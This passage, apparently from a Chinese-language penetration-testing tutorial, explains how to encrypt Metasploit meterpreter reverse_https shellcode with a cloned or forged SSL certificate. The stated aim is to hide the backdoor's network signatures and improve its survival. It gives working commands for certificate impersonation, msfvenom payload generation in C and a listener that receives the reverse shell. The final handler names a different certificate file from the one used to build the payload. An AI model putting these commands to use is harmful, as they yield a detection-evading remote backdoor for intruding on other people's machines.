在本節中,我們將介紹如何通過使用Metasploit
生成加密載荷,以隱藏網路特徵。前一章節我們已經通過Metasploit
生成了一段明文的ShellCode,但明文的網路傳輸存在安全隱患,因此本節將介紹如何通過生成SSL證書來加密ShellCode,使得網路特徵得到隱藏,從而提高後門的生存能力和抵抗網路特徵分析的能力。
ShellCode 網路特徵加密我們採用的是SSL(Secure Sockets Layer),現已被替換為TLS(Transport Layer Security),SSL是一種用於在Web上傳輸資料的安全協定。它的主要目的是確保在網際網路上傳輸的資料在傳遞過程中不會被第三方竊取或篡改。SSL加密的原理是通過兩個公鑰和一個私鑰來加密資料。公鑰用於加密資料,私鑰用於解密資料。在傳輸過程中,傳送者使用接收者的公鑰對資料進行加密,接收者使用自己的私鑰對資料進行解密。這樣,即使在網路上被竊取,資料也無法被第三方解密,從而保證了資料的安全性。
通常,SSL證書由以下幾部分組成:
要想實現加密通常我們需要獲取一個專屬的證書檔案,獲取證書的方式有兩種,第一種方式是通過Impersonate_SSL
模組,對已有證書進行下載操作,如下命令實現了將www.lyshark.com
網站中的證書下載到原生的功能,
msf6 > use auxiliary/gather/impersonate_ssl
msf6 > set rhost www.lyshark.com
msf6 > run
當讀者執行命令後,則該證書將被下載到home/lyshark/.msf4/loot/
目錄下,其中包含了證書的key,crt,pem
等檔案,輸出如下圖所示;
當具備了克隆證書後,讀者可在Metasploit
中互動式執行如下命令實現生成帶有加密功能的ShellCode
程式碼,如下程式碼中通過HANDLERSSLCERT
指定證書位置,並通過generate
生成C語言版ShellCode程式碼。
msf6 > use payload/windows/meterpreter/reverse_https
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set LHOST 192.168.9.135
msf6 > set lport 8443
msf6 > generate -f c
而對於伺服器端來說,在傳遞引數時,讀者同樣需要在HANDLERSSLCERT
中傳遞私有證書,
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set LPORT 8443
msf6 > set LHOST 192.168.140.128
msf6 > run -j
當然讀者也可用通過kali
系統內自帶的openssl
命令生成一個新的偽造證書,OpenSSL是一個開源的安全工具,用於實現SSL/TLS
協定。它提供了一系列命令列工具,可以用於生成證書、加密資料、解密資料等操作。
首先使用第一種方式生成,下面是各個引數的詳細解釋:
通過這條命令,可以生成一個有效期為365天,金鑰長度為4096位的X.509證書,證書主題資訊為"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私鑰檔名為www.lyshark.com.key,證書檔名為www.lyshark.com.crt。
┌──(lyshark㉿kali)-[~/lyshark]
└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
-keyout www.lyshark.com.key -out www.lyshark.com.crt
┌──(lyshark㉿kali)-[~/lyshark]
└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem
接著讀者可執行msfvenom
命令通過非互動方式生成一段加密版的ShellCode程式碼片段。
┌──(lyshark㉿kali)-[~/lyshark]
└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/test/www.lyshark.com.pem \
StagerVerifySSLCert=true -f c -o /root/test.c
伺服器端啟用偵聽模式,並通過HandlerSSLCert
傳入同樣的證書私鑰即可。
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set LHOST 192.168.9.135
msf6 > set LPORT 8443
msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
msf6 > set StagerVerifySSLCert true
msf6 > exploit -j -z